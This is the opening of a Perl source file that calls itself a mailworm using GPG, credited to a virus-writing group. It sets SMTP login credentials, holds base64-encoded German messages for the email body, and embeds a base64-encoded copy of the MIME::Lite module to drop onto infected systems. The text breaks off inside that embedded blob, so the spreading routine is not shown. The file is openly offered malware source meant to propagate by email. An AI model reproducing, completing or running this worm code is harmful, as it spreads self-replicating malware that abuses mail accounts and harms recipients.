#!/usr/bin/perl # mailworm using GPG by R3s1stanc3 [vxnetw0rk] # r3s1stanc3@riseup.net # http://r3s1stanc3.me use LWP::Simple ; use Net::SMTP ; use MIME::Base64 ; #### SMTP config # SMTP server is set in l. 1750 $smtpuser = 'email@hoster.com' ; $smtppass = 'smtppassword' ; $name = "Cryptos" ; # one of these base64 encoded messages will be written in the email body @messages = ( "WmVyc3RvZXJ0IGRpZSBEb2VyZmVyIHVuZCBkaWUgU3RhbW10aXNjaG1lbnRhbGl0YWV0LApEZW5uIHdlciBkaWUgZGV1dHNjaGUgRWljaGUgc2FldCwgZGVyIHNvbGwgZsO8ciBpbW1lciBVbmtyYXV0IGVybnRlbiEKRXMgc29sbCB3dWNoZXJuIHVuZCB6dXIgUGxhZ2Ugd2VyZGVuLCBoaWVyIHVuZCBhdWZkZXIgZ2FuemVuIEVyZGUsCkljaCBtb2VjaHRlIHdpbGRlIFBmbGFuemVuIGJsdWVoZW4gc2VoZW4hCg==", "VW5kIHdlbm4gZHUgZGllc2VuIFN0YWF0IHNpZWhzdCwgZGVyIHNpY2ggbWVpbiBWYXRlciBuZW5udCwgcmljaHRlIGlobSBhdXMsCkRhc3MgZXIgbWljaCBzZWl0IEphaHJlbiBiZWx1ZWd0IHVuZCBiZXJhdWJ0ClVuZCwgZGFzcyB3aXIgbmljaHQgdmVyd2FuZHQgc2luZCB1bmQgZXMgYXVjaCBuaWVtYWxzIHdhcm4gdW5kIGRhbm4sClNhZyBpaG0gdm9uIG1laW5lciBNdXR0ZXIsIGRhc3Mgc2llIHNpY2ggYXVjaCBhbiBuaWNodHMgZXJpbm5lcm4ga2Fubi4=" ) ; # MIME::Lite is not installed by default, so we gonna drop it :) $litePM = <<"TEXT" ; cGFja2FnZSBNSU1FOjpMaXRlOwoKCj1oZWFkMSBOQU1FCgpNSU1FOjpMaXRlIC0gbG93LWNhbG9y aWUgTUlNRSBnZW5lcmF0b3IKCgo9aGVhZDEgU1lOT1BTSVMKCiAgICB1c2UgTUlNRTo6TGl0ZTsK ICAgCkNyZWF0ZSBhIHNpbmdsZS1wYXJ0IG1lc3NhZ2U6CgogICAgIyMjIENyZWF0ZSBhIG5ldyBz aW5nbGUtcGFydCBtZXNzYWdlLCB0byBzZW5kIGEgR0lGIGZpbGU6CiAgICAkbXNnID0gTUlNRTo6 TGl0ZS0+bmV3KAogICAgICAgICAgICAgICAgIEZyb20gICAgID0+J21lQG15aG9zdC5jb20nLAog ICAgICAgICAgICAgICAgIFRvICAgICAgID0+J3lvdUB5b3VyaG9zdC5jb20nLAogICAgICAgICAg ICAgICAgIENjICAgICAgID0+J3NvbWVAb3RoZXIuY29tLCBzb21lQG1vcmUuY29tJywKICAgICAg ICAgICAgICAgICBTdWJqZWN0ICA9PidIZWxsb29vb29vLCBudXJzZSEnLAogICAgICAgICAgICAg ICAgIFR5cGUgICAgID0+J2ltYWdlL2dpZicsCiAgICAgICAgICAgICAgICAgRW5jb2RpbmcgPT4n YmFzZTY0JywKICAgICAgICAgICAgICAgICBQYXRoICAgICA9PidoZWxsb251cnNlLmdpZicKCQkg KTsKCkNyZWF0ZSBhIG11bHRpcGFydCBtZXNzYWdlIChpLmUuLCBvbmUgd2l0aCBhdHRhY2htZW50 cyk6CgogICAgIyMjIENyZWF0ZSBhIG5ldyBtdWx0aXBhcnQgbWVzc2FnZToKICAgICRtc2cgPSBN SU1FOjpMaXRlLT5uZXcoIAogICAgICAgICAgICAgICAgIEZyb20gICAgPT4nbWVAbXlob3N0LmNv bScsCiAgICAgICAgICAgICAgICAgVG8gICAgICA9Pid5b3VAeW91cmhvc3QuY29tJywKICAgICAg ICAgICAgICAgICBDYyAgICAgID0+J3NvbWVAb3RoZXIuY29tLCBzb21lQG1vcmUuY29tJywKICAg ICAgICAgICAgICAgICBTdWJqZWN0ID0+J0EgbWVzc2FnZSB3aXRoIDIgcGFydHMuLi4nLAogICAg ICAgICAgICAgICAgIFR5cGUgICAgPT4nbXVsdGlwYXJ0L21peGVkJwoJCSApOwogICAgCiAgICAj IyMgQWRkIHBhcnRzIChlYWNoICJhdHRhY2giIGhhcyBzYW1lIGFyZ3VtZW50cyBhcyAibmV3Iik6 CiAgICAkbXNnLT5hdHRhY2goVHlwZSAgICAgPT4nVEVYVCcsICAgCiAgICAgICAgICAgICAgICAg RGF0YSAgICAgPT4iSGVyZSdzIHRoZSBHSUYgZmlsZSB5b3Ugd2FudGVkIgoJCSApOyAgCiAgICAk bXNnLT5hdHRhY2goVHlwZSAgICAgPT4naW1hZ2UvZ2lmJywKICAgICAgICAgICAgICAgICBQYXRo ICAgICA9PidhYWEwMDAxMjMuZ2lmJywKICAgICAgICAgICAgICAgICBGaWxlbmFtZSA9Pidsb2dv LmdpZicsCgkJIERpc3Bvc2l0aW9uID0+ICdhdHRhY2htZW50JwoJCSApOwoKT3V0cHV0IGEgbWVz c2FnZToKCiAgICAjIyMgRm9ybWF0IGFzIGEgc3RyaW5nOgogICAgJHN0ciA9ICRtc2ctPmFzX3N0 cmluZzsKICAgIAogICAgIyMjIFByaW50IHRvIGEgZmlsZWhhbmRsZSAoc2F5LCBhICJzZW5kbWFp bCIgc3RyZWFtKToKICAgICRtc2ctPnByaW50KFwqU0VORE1BSUwpOwoKClNlbmQgYSBtZXNzYWdl OgoKICAgICMjIyBTZW5kIGluIHRoZSAiYmVzdCIgd2F5ICh0aGUgZGVmYXVsdCBpcyB0byB1c2Ug InNlbmRtYWlsIik6CiAgICAkbXNnLT5zZW5kOwogICAgICAKCgo9aGVhZDEgREVTQ1JJUFRJT04K CkluIHRoZSBuZXZlci1lbmRpbmcgcXVlc3QgZm9yIGdyZWF0IHRhc3RlIHdpdGggZmV3ZXIgY2Fs b3JpZXMsCndlIHByb3VkbHkgcHJlc2VudDogSTxNSU1FOjpMaXRlPi4gIAoKTUlNRTo6TGl0ZSBp cyBpbnRlbmRlZCBhcyBhIHNpbXBsZSwgc3RhbmRhbG9uZSBtb2R1bGUgZm9yIGdlbmVyYXRpbmcK KG5vdCBwYXJzaW5nISkgTUlNRSBtZXNzYWdlcy4uLiBzcGVjaWZpY2FsbHksIGl0IGFsbG93cyB5 b3UgdG8Kb3V0cHV0IGEgc2ltcGxlLCBkZWNlbnQgc2luZ2xlLSBvciBtdWx0aS1wYXJ0IG1lc3Nh Z2Ugd2l0aCB0ZXh0IG9yIGJpbmFyeQphdHRhY2htZW50cy4gIEl0IGRvZXMgbm90IHJlcXVpcmUg dGhhdCB5b3UgaGF2ZSB0aGUgTWFpbDo6IG9yIE1JTUU6Ogptb2R1bGVzIGluc3RhbGxlZC4KCllv dSBjYW4gc3BlY2lmeSBlYWNoIG1lc3NhZ2UgcGFydCBhcyBlaXRoZXIgdGhlIGxpdGVyYWwgZGF0 YSBpdHNlbGYgKGluCmEgc2NhbGFyIG9yIGFycmF5KSwgb3IgYXMgYSBzdHJpbmcgd2hpY2ggY2Fu IGJlIGdpdmVuIHRvIG9wZW4oKSB0byBnZXQKYSByZWFkYWJsZSBmaWxlaGFuZGxlIChlLmcuLCAi PGZpbGVuYW1lIiBvciAic29tZWNvbW1hbmR8IikuCgpZb3UgZG9uJ3QgbmVlZCB0byB3b3JyeSBh Ym91dCBlbmNvZGluZyB5b3VyIG1lc3NhZ2UgZGF0YToKdGhpcyBtb2R1bGUgd2lsbCBkbyB0aGF0 IGZvciB5b3UuICBJdCBoYW5kbGVzIHRoZSA1IHN0YW5kYXJkIE1JTUUgZW5jb2RpbmdzLgoKSWYg eW91IG5lZWQgbW9yZSBzb3BoaXN0aWNhdGVkIGJlaGF2aW9yLCBwbGVhc2UgZ2V0IHRoZSBNSU1F LXRvb2xzIApwYWNrYWdlIGluc3RlYWQuICBJIHdpbGwgYmUgbW9yZSBsaWtlbHkgdG8gYWRkIHN0 dWZmIHRvIHRoYXQgdG9vbGtpdApvdmVyIHRoaXMgb25lLgoKCj1oZWFkMSBFWEFNUExFUwoKPWhl YWQyIENyZWF0ZSBhIHNpbXBsZSBtZXNzYWdlIGNvbnRhaW5pbmcganVzdCB0ZXh0CgogICAgJG1z ZyA9IE1JTUU6OkxpdGUtPm5ldygKICAgICAgICAgICAgICAgICBGcm9tICAgICA9PidtZUBteWhv c3QuY29tJywKICAgICAgICAgICAgICAgICBUbyAgICAgICA9Pid5b3VAeW91cmhvc3QuY29tJywK ICAgICAgICAgICAgICAgICBDYyAgICAgICA9Pidzb21lQG90aGVyLmNvbSwgc29tZUBtb3JlLmNv bScsCiAgICAgICAgICAgICAgICAgU3ViamVjdCAgPT4nSGVsbG9vb29vbywgbnVyc2UhJywKICAg ICAgICAgICAgICAgICBEYXRhICAgICA9PiJIb3cncyBpdCBnb2luJywgZWg/IgoJCSApOwoKPWhl YWQyIENyZWF0ZSBhIHNpbXBsZSBtZXNzYWdlIGNvbnRhaW5pbmcganVzdCBhbiBpbWFnZQoKICAg ICRtc2cgPSBNSU1FOjpMaXRlLT5uZXcoCiAgICAgICAgICAgICAgICAgRnJvbSAgICAgPT4nbWVA bXlob3N0LmNvbScsCiAgICAgICAgICAgICAgICAgVG8gICAgICAgPT4neW91QHlvdXJob3N0LmNv bScsCiAgICAgICAgICAgICAgICAgQ2MgICAgICAgPT4nc29tZUBvdGhlci5jb20sIHNvbWVAbW9y ZS5jb20nLAogICAgICAgICAgICAgICAgIFN1YmplY3QgID0+J0hlbGxvb29vb28sIG51cnNlIScs CiAgICAgICAgICAgICAgICAgVHlwZSAgICAgPT4naW1hZ2UvZ2lmJywKICAgICAgICAgICAgICAg ICBFbmNvZGluZyA9PidiYXNlNjQnLAogICAgICAgICAgICAgICAgIFBhdGggICAgID0+J2hlbGxv bnVyc2UuZ2lmJwoJCSApOwoKCj1oZWFkMiBDcmVhdGUgYSBtdWx0aXBhcnQgbWVzc2FnZQoKICAg ICMjIyBDcmVhdGUgdGhlIG11bHRpcGFydCAiY29udGFpbmVyIjoKICAgICRtc2cgPSBNSU1FOjpM aXRlLT5uZXcoIAogICAgICAgICAgICAgICAgIEZyb20gICAgPT4nbWVAbXlob3N0LmNvbScsCiAg ICAgICAgICAgICAgICAgVG8gICAgICA9Pid5b3VAeW91cmhvc3QuY29tJywKICAgICAgICAgICAg ICAgICBDYyAgICAgID0+J3NvbWVAb3RoZXIuY29tLCBzb21lQG1vcmUuY29tJywKICAgICAgICAg ICAgICAgICBTdWJqZWN0ID0+J0EgbWVzc2FnZSB3aXRoIDIgcGFydHMuLi4nLAogICAgICAgICAg ICAgICAgIFR5cGUgICAgPT4nbXVsdGlwYXJ0L21peGVkJwoJCSApOwogICAgCiAgICAjIyMgQWRk IHRoZSB0ZXh0IG1lc3NhZ2UgcGFydDoKICAgICMjIyAoTm90ZSB0aGF0ICJhdHRhY2giIGhhcyBz YW1lIGFyZ3VtZW50cyBhcyAibmV3Iik6CiAgICAkbXNnLT5hdHRhY2goVHlwZSAgICAgPT4nVEVY VCcsICAgCiAgICAgICAgICAgICAgICAgRGF0YSAgICAgPT4iSGVyZSdzIHRoZSBHSUYgZmlsZSB5 b3Ugd2FudGVkIgoJCSApOyAgCiAgICAgCiAgICAjIyMgQWRkIHRoZSBpbWFnZSBwYXJ0OgogICAg JG1zZy0+YXR0YWNoKFR5cGUgICAgID0+J2ltYWdlL2dpZicsCiAgICAgICAgICAgICAgICAgUGF0 aCAgICAgPT4nYWFhMDAwMTIzLmdpZicsCiAgICAgICAgICAgICAgICAgRmlsZW5hbWUgPT4nbG9n by5naWYnLAoJCSBEaXNwb3NpdGlvbiA9PiAnYXR0YWNobWVudCcKCQkgKTsKCgo9aGVhZDIgQXR0 YWNoIGEgR0lGIHRvIGEgdGV4dCBtZXNzYWdlCgpUaGlzIHdpbGwgY3JlYXRlIGEgbXVsdGlwYXJ0 IG1lc3NhZ2UgZXhhY3RseSBhcyBhYm92ZSwgYnV0IHVzaW5nIHRoZSAKImF0dGFjaCB0byBzaW5n bGVwYXJ0IiBoYWNrOgoKICAgICMjIyBTdGFydCB3aXRoIGEgc2ltcGxlIHRleHQgbWVzc2FnZToK ICAgICRtc2cgPSBNSU1FOjpMaXRlLT5uZXcoCiAgICAgICAgICAgICAgICAgRnJvbSAgICA9Pidt ZUBteWhvc3QuY29tJywKICAgICAgICAgICAgICAgICBUbyAgICAgID0+J3lvdUB5b3VyaG9zdC5j b20nLAogICAgICAgICAgICAgICAgIENjICAgICAgPT4nc29tZUBvdGhlci5jb20sIHNvbWVAbW9y ZS5jb20nLAogICAgICAgICAgICAgICAgIFN1YmplY3QgPT4nQSBtZXNzYWdlIHdpdGggMiBwYXJ0 cy4uLicsCiAgICAgICAgICAgICAgICAgVHlwZSAgICA9PidURVhUJywKICAgICAgICAgICAgICAg ICBEYXRhICAgID0+IkhlcmUncyB0aGUgR0lGIGZpbGUgeW91IHdhbnRlZCIKICAgICAgICAgICAg ICAgICApOyAgCiAgICAKICAgICMjIyBBdHRhY2ggYSBwYXJ0Li4uIHRoZSBtYWtlIHRoZSBtZXNz YWdlIGEgbXVsdGlwYXJ0IGF1dG9tYXRpY2FsbHk6CiAgICAkbXNnLT5hdHRhY2goVHlwZSAgICAg PT4naW1hZ2UvZ2lmJywKICAgICAgICAgICAgICAgICBQYXRoICAgICA9PidhYWEwMDAxMjMuZ2lm JywKICAgICAgICAgICAgICAgICBGaWxlbmFtZSA9Pidsb2dvLmdpZicKICAgICAgICAgICAgICAg ICApOwoKCj1oZWFkMiBBdHRhY2ggYSBwcmUtcHJlcGFyZWQgcGFydCB0byBhIG1lc3NhZ2UKCiAg ICAjIyMgQ3JlYXRlIGEgc3RhbmRhbG9uZSBwYXJ0OgogICAgJHBhcnQgPSBNSU1FOjpMaXRlLT5u ZXcoCiAgICAgICAgICAgICAgICAgVHlwZSAgICAgPT4ndGV4dC9odG1sJywKICAgICAgICAgICAg ICAgICBEYXRhICAgICA9Pic8SDE+SGVsbG88L0gxPicsCiAgICAgICAgICAgICAgICAgKTsKICAg ICRwYXJ0LT5hdHRyKCdjb250ZW50LXR5cGUuY2hhcnNldCcgPT4gJ1VURjgnKTsKICAgICRwYXJ0 LT5hZGQoJ1gtQ29tbWVudCcgPT4gJ0EgbWVzc2FnZSBmb3IgeW91Jyk7CiAgICAgCiAgICAjIyMg QXR0YWNoIGl0IHRvIGFueSBtZXNzYWdlOgogICAgJG1zZy0+YXR0YWNoKCRwYXJ0KTsKCgo9aGVh ZDIgUHJpbnQgYSBtZXNzYWdlIHRvIGEgZmlsZWhhbmRsZQoKICAgICMjIyBXcml0ZSBpdCB0byBh IGZpbGVoYW5kbGU6CiAgICAkbXNnLT5wcmludChcKlNURE9VVCk7IAogICAgIAogICAgIyMjIFdy aXRlIGp1c3QgdGhlIGhlYWRlcjoKICAgICRtc2ctPnByaW50X2hlYWRlcihcKlNURE9VVCk7IAog ICAgIAogICAgIyMjIFdyaXRlIGp1c3QgdGhlIGVuY29kZWQgYm9keToKICAgICRtc2ctPnByaW50 X2JvZHkoXCpTVERPVVQpOyAKCgo9aGVhZDIgUHJpbnQgYSBtZXNzYWdlIGludG8gYSBzdHJpbmcK CiAgICAjIyMgR2V0IGVudGlyZSBtZXNzYWdlIGFzIGEgc3RyaW5nOgogICAgJHN0ciA9ICRtc2ct PmFzX3N0cmluZzsKICAgICAKICAgICMjIyBHZXQganVzdCB0aGUgaGVhZGVyOgogICAgJHN0ciA9 ICRtc2ctPmhlYWRlcl9hc19zdHJpbmc7CiAgICAgCiAgICAjIyMgR2V0IGp1c3QgdGhlIGVuY29k ZWQgYm9keToKICAgICRzdHIgPSAkbXNnLT5ib2R5X2FzX3N0cmluZzsKCgo9aGVhZDIgU2VuZCBh IG1lc3NhZ2UKCiAgICAjIyMgU2VuZCBpbiB0aGUgImJlc3QiIHdheSAodGhlIGRlZmF1bHQgaXMg dG8gdXNlICJzZW5kbWFpbCIpOgogICAgJG1zZy0+c2VuZDsKCgo9aGVhZDIgU2VuZCBhbiBIVE1M IGRvY3VtZW50Li4uIHdpdGggaW1hZ2VzIGluY2x1ZGVkIQoKICAgICRtc2cgPSBNSU1FOjpMaXRl LT5uZXcoCiAgICAgICAgICAgICAgICAgVG8gICAgICA9Pid5b3VAeW91cmhvc3QuY29tJywKICAg ICAgICAgICAgICAgICBTdWJqZWN0ID0+J0hUTUwgd2l0aCBpbi1saW5lIGltYWdlcyEnLAogICAg ICAgICAgICAgICAgIFR5cGUgICAgPT4nbXVsdGlwYXJ0L3JlbGF0ZWQnCiAgICAgICAgICAgICAg ICAgKTsKICAgICRtc2ctPmF0dGFjaChUeXBlID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAg ICAgIERhdGEgPT4gcXF7IDxib2R5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhlcmUn cyA8aT5teTwvaT4gaW1hZ2U6IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3Jj PSJjaWQ6bXlpbWFnZS5naWYiPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2JvZHk+ IH0KICAgICAgICAgICAgICAgICApOwogICAgJG1zZy0+YXR0YWNoKFR5cGUgPT4gJ2ltYWdlL2dp ZicsCiAgICAgICAgICAgICAgICAgSWQgICA9PiAnbXlpbWFnZS5naWYnLAogICAgICAgICAgICAg ICAgIFBhdGggPT4gJy9wYXRoL3RvL3NvbWVmaWxlLmdpZicsCiAgICAgICAgICAgICAgICAgKTsK ICAgICRtc2ctPnNlbmQoKTsKCgo9aGVhZDIgQ2hhbmdlIGhvdyBtZXNzYWdlcyBhcmUgc2VudAoK ICAgICMjIyBEbyBzb21ldGhpbmcgbGlrZSB0aGlzIGluIHlvdXIgJ21haW4nOgogICAgaWYgKCRJ X0RPTlRfSEFWRV9TRU5ETUFJTCkgewogICAgICAgTUlNRTo6TGl0ZS0+c2VuZCgnc210cCcsICJz bXRwLm15aXNwLm5ldCIsIFRpbWVvdXQ9PjYwKTsKICAgIH0KICAgICAKICAgICMjIyBOb3cgdGhp cyB3aWxsIGRvIHRoZSByaWdodCB0aGluZzoKICAgICRtc2ctPnNlbmQ7ICAgICAgICAgIyMjIHdp bGwgbm93IHVzZSBOZXQ6OlNNVFAgYXMgc2hvd24gYWJvdmUKCgoKCgoKPWhlYWQxIFBVQkxJQyBJ TlRFUkZBQ0UKCj1oZWFkMiBHbG9iYWwgY29uZmlndXJhdGlvbgoKVG8gYWx0ZXIgdGhlIHdheSB0 aGUgZW50aXJlIG1vZHVsZSBiZWhhdmVzLCB5b3UgaGF2ZSB0aGUgZm9sbG93aW5nCm1ldGhvZHMv b3B0aW9uczoKCj1vdmVyIDQKCgo9aXRlbSBNSU1FOjpMaXRlLT5maWVsZF9vcmRlcigpCgpXaGVu IHVzZWQgYXMgYSBMPGNsYXNzbWV0aG9kfC9maWVsZF9vcmRlcj4sIHRoaXMgY2hhbmdlcyB0aGUg ZGVmYXVsdCAKb3JkZXIgaW4gd2hpY2ggaGVhZGVycyBhcmUgb3V0cHV0IGZvciBJPGFsbD4gbWVz c2FnZXMuCkhvd2V2ZXIsIHBsZWFzZSBjb25zaWRlciB1c2luZyB0aGUgaW5zdGFuY2UgbWV0aG9k IHZhcmlhbnQgaW5zdGVhZCwKc28geW91IHdvbid0IHN0b21wIG9uIG90aGVyIG1lc3NhZ2Ugc2Vu ZGVycyBpbiB0aGUgc2FtZSBhcHBsaWNhdGlvbi4KCgo9aXRlbSBNSU1FOjpMaXRlLT5xdWlldCgp CgpUaGlzIEw8Y2xhc3NtZXRob2R8L3F1aWV0PiBjYW4gYmUgdXNlZCB0byBzdXBwcmVzcy91bnN1 cHByZXNzIAphbGwgd2FybmluZ3MgY29taW5nIGZyb20gdGhpcyBtb2R1bGUuCgoKPWl0ZW0gTUlN RTo6TGl0ZS0+c2VuZCgpCgpXaGVuIHVzZWQgYXMgYSBMPGNsYXNzbWV0aG9kfC9zZW5kPiwgdGhp cyBjYW4gYmUgdXNlZCB0byBzcGVjaWZ5IAphIGRpZmZlcmVudCBkZWZhdWx0IG1lY2hhbmlzbSBm b3Igc2VuZGluZyBtZXNzYWdlLiAgClRoZSBpbml0aWFsIGRlZmF1bHQgaXM6CgogICAgTUlNRTo6 TGl0ZS0+c2VuZCgic2VuZG1haWwiLCAiL3Vzci9saWIvc2VuZG1haWwgLXQgLW9pIC1vZW0iKTsK Ckhvd2V2ZXIsIHlvdSBzaG91bGQgY29uc2lkZXIgdGhlIHNpbWlsYXIgYnV0IHNtYXJ0ZXIgYW5k IHRhaW50LXNhZmUgdmFyaWFudDoKCiAgICBNSU1FOjpMaXRlLT5zZW5kKCJzZW5kbWFpbCIpOwoK T3IsIGZvciBub24tVW5peCB1c2VyczoKCiAgICBNSU1FOjpMaXRlLT5zZW5kKCJzbXRwIik7CgoK PWl0ZW0gJE1JTUU6OkxpdGU6OkFVVE9fQ0MKCklmIHRydWUsIGF1dG9tYXRpY2FsbHkgc2VuZCB0 byB0aGUgQ2MvQmNjIGFkZHJlc3NlcyBmb3Igc2VuZF9ieV9zbXRwKCkuCkRlZmF1bHQgaXMgQjx0 cnVlPi4KCgo9aXRlbSAkTUlNRTo6TGl0ZTo6QVVUT19DT05URU5UX1RZUEUKCklmIHRydWUsIHRy eSB0byBhdXRvbWF0aWNhbGx5IGNob29zZSB0aGUgY29udGVudCB0eXBlIGZyb20gdGhlIGZpbGUg bmFtZQppbiBDPG5ldygpPi9DPGJ1aWxkKCk+LiAgSW4gb3RoZXIgd29yZHMsIHNldHRpbmcgdGhp cyB0cnVlIGNoYW5nZXMgdGhlCmRlZmF1bHQgQzxUeXBlPiBmcm9tIEM8IlRFWFQiPiB0byBDPCJB VVRPIj4uCgpEZWZhdWx0IGlzIEI8ZmFsc2U+LCBzaW5jZSB3ZSBtdXN0IG1haW50YWluIGJhY2t3 YXJkcy1jb21wYXRpYmlsaXR5IAp3aXRoIHByaW9yIGJlaGF2aW9yLiAgQjxQbGVhc2U+IGNvbnNp ZGVyIGtlZXBpbmcgaXQgZmFsc2UsCmFuZCBqdXN0IHVzaW5nIFR5cGUgJ0FVVE8nIHdoZW4geW91 IGJ1aWxkKCkgb3IgYXR0YWNoKCkuCgoKPWl0ZW0gJE1JTUU6OkxpdGU6OkFVVE9fRU5DT0RFCgpJ ZiB0cnVlLCBhdXRvbWF0aWNhbGx5IGNob29zZSB0aGUgZW5jb2RpbmcgZnJvbSB0aGUgY29udGVu dCB0eXBlLgpEZWZhdWx0IGlzIEI8dHJ1ZT4uCgoKPWl0ZW0gJE1JTUU6OkxpdGU6OkFVVE9fVkVS SUZZCgpJZiB0cnVlLCBjaGVjayBwYXRocyB0byBhdHRhY2htZW50cyByaWdodCBiZWZvcmUgcHJp bnRpbmcsIHJhaXNpbmcgYW4gZXhjZXB0aW9uCmlmIGFueSBwYXRoIGlzIHVucmVhZGFibGUuCkRl ZmF1bHQgaXMgQjx0cnVlPi4KCgo9aXRlbSAkTUlNRTo6TGl0ZTo6UEFSQU5PSUQKCklmIHRydWUs IHdlIHdvbid0IGF0dGVtcHQgdG8gdXNlIE1JTUU6OkJhc2U2NCwgTUlNRTo6UXVvdGVkUHJpbnQs Cm9yIE1JTUU6OlR5cGVzLCBldmVuIGlmIHRoZXkncmUgYXZhaWxhYmxlLgpEZWZhdWx0IGlzIEI8 ZmFsc2U+LiAgUGxlYXNlIGNvbnNpZGVyIGtlZXBpbmcgaXQgZmFsc2UsCmFuZCB0cnVzdGluZyB0 aGVzZSBvdGhlciBwYWNrYWdlcyB0byBkbyB0aGUgcmlnaHQgdGhpbmcuCgoKPWJhY2sKCj1jdXQK CnJlcXVpcmUgNS4wMDQ7ICAgICAjIyMgZm9yIC9jIG1vZGlmaWVyIGluIG0vXEcuLi4vZ2MgbW9k aWZpZXIKCnVzZSBDYXJwICgpOwp1c2UgRmlsZUhhbmRsZTsKCnVzZSBzdHJpY3Q7CnVzZSB2YXJz IHF3KAogICAgICAgICAgICAkQVVUT19DQyAKICAgICAgICAgICAgJEFVVE9fQ09OVEVOVF9UWVBF CiAgICAgICAgICAgICRBVVRPX0VOQ09ERQogICAgICAgICAgICAkQVVUT19WRVJJRlkgICAgICAg ICAgICAKICAgICAgICAgICAgJFBBUkFOT0lEIAogICAgICAgICAgICAkUVVJRVQKICAgICAgICAg ICAgJFZBTklMTEEKICAgICAgICAgICAgJFZFUlNJT04gCiAgICAgICAgICAgICk7CgoKCiM9PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PQojCiMgR0xPQkFMUywgRVhURVJOQUwvQ09ORklHVVJBVElPTi4uLgoKIyMjIFRoZSBwYWNrYWdl IHZlcnNpb24sIGJvdGggaW4gMS4yMyBzdHlsZSAqYW5kKiB1c2FibGUgYnkgTWFrZU1ha2VyOgok VkVSU0lPTiA9IHN1YnN0ciBxJFJldmlzaW9uOiAyLjExNyAkLCAxMDsKCiMjIyBBdXRvbWF0aWNh bGx5IGludGVycHJldCBDQy9CQ0MgZm9yIFNNVFA6CiRBVVRPX0NDID0gMTsKCiMjIyBBdXRvbWF0 aWNhbGx5IGNob29zZSBjb250ZW50IHR5cGUgZnJvbSBmaWxlIG5hbWU6CiRBVVRPX0NPTlRFTlRf VFlQRSA9IDA7CgojIyMgQXV0b21hdGljYWxseSBjaG9vc2UgZW5jb2RpbmcgZnJvbSBjb250ZW50 IHR5cGU6CiRBVVRPX0VOQ09ERSA9IDE7CgojIyMgQ2hlY2sgcGF0aHMgcmlnaHQgYmVmb3JlIHBy aW50aW5nOgokQVVUT19WRVJJRlkgPSAxOwoKIyMjIFNldCB0aGlzIHRydWUgaWYgeW91IGRvbid0 IHdhbnQgdG8gdXNlIE1JTUU6OkJhc2U2NC9RdW90ZWRQcmludC9UeXBlczoKJFBBUkFOT0lEID0g MDsKCiMjIyBEb24ndCB3YXJuIG1lIGFib3V0IGRhbmdlcm91cyBhY3Rpdml0aWVzOgokUVVJRVQg PSB1bmRlZjsKCiMjIyBVbnN1cHBvcnRlZCAoZm9yIHRlc3RlciB1c2UpOiBkb24ndCBxdWFsaWZ5 IGJvdW5kYXJ5IHdpdGggdGltZS9waWQ6CiRWQU5JTExBID0gMDsKCgojPT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIwojIEdMT0JB TFMsIElOVEVSTkFMLi4uCgojIyMgRmluZCBzZW5kbWFpbDoKbXkgJFNFTkRNQUlMID0gICAgICAg ICAgICAgICAgICIvdXNyL2xpYi9zZW5kbWFpbCI7CigteCAkU0VORE1BSUwpIG9yICgkU0VORE1B SUwgPSAiL3Vzci9zYmluL3NlbmRtYWlsIik7CigteCAkU0VORE1BSUwpIG9yICgkU0VORE1BSUwg PSAic2VuZG1haWwiKTsKCiMjIyBPdXIgc2VuZGluZyBmYWNpbGl0aWVzOgpteSAkU2VuZGVyICAg ICA9ICJzZW5kbWFpbCI7Cm15ICVTZW5kZXJBcmdzID0gKAogICAgInNlbmRtYWlsIiA9PiBbIiRT RU5ETUFJTCAtdCAtb2kgLW9lbSJdLAogICAgInNtdHAiICAgICA9PiBbXSwKICAgICJzdWIiICAg ICAgPT4gW10sCik7CgojIyMgQm91bmRhcnkgY291bnRlcjoKbXkgJEJDb3VudCA9IDA7CgojIyMg S25vd24gTWFpbC9NSU1FIGZpZWxkcy4uLiB0aGVzZSwgcGx1cyBzb21lIGdlbmVyYWwgZm9ybXMg bGlrZSAKIyMjICJ4LSoiLCBhcmUgcmVjb2duaXplZCBieSBidWlsZCgpOgpteSAlS25vd25GaWVs ZCA9IG1hcCB7JF89PjF9IApxdygKICAgYmNjICAgICAgICAgY2MgICAgICAgICAgY29tbWVudHMg ICAgICBkYXRlICAgICAgICAgIGVuY3J5cHRlZCAKICAgZnJvbSAgICAgICAga2V5d29yZHMgICAg bWVzc2FnZS1pZCAgICBtaW1lLXZlcnNpb24gIG9yZ2FuaXphdGlvbgogICByZWNlaXZlZCAgICBy ZWZlcmVuY2VzICByZXBseS10byAgICAgIHJldHVybi1wYXRoICAgc2VuZGVyICAgICAgICAKICAg c3ViamVjdCAgICAgdG8KCiAgIGFwcHJvdmVkCiAgICk7CgojIyMgV2hhdCBleHRlcm5hbCBwYWNr YWdlcyBkbyB3ZSB1c2UgZm9yIGVuY29kaW5nPwpteSBAVXNlczsKCiMjIyBIZWFkZXIgb3JkZXI6 Cm15IEBGaWVsZE9yZGVyOwoKIyMjIFNlZSBpZiB3ZSBoYXZlIEZpbGU6OkJhc2VuYW1lCm15ICRI YXZlRmlsZUJhc2VuYW1lID0gMDsKaWYgKGV2YWwgInJlcXVpcmUgRmlsZTo6QmFzZW5hbWUiKSB7 ICMgbm90IGFmZmVjdGVkIGJ5ICRQQVJBTk9JRCwgY29yZSBQZXJsCiAgJEhhdmVGaWxlQmFzZW5h bWUgPSAxOwogIHB1c2ggQFVzZXMsICJGJEZpbGU6OkJhc2VuYW1lOjpWRVJTSU9OIjsKfQoKIyMj IFNlZSBpZiB3ZSBoYXZlL3dhbnQgTUlNRTo6VHlwZXMKbXkgJEhhdmVNaW1lVHlwZXMgPSAwOwpp ZiAoISRQQVJBTk9JRCBhbmQgZXZhbCAicmVxdWlyZSBNSU1FOjpUeXBlcyIpIHsKICAkSGF2ZU1p bWVUeXBlcyA9IDE7CiAgcHVzaCBAVXNlcywgIlQkTUlNRTo6VHlwZXM6OlZFUlNJT04iOwp9Cgoj PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiM9PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT0KIwojIFBSSVZBVEUgVVRJTElUWSBGVU5DVElPTlMuLi4KCiMtLS0tLS0tLS0tLS0tLS0t 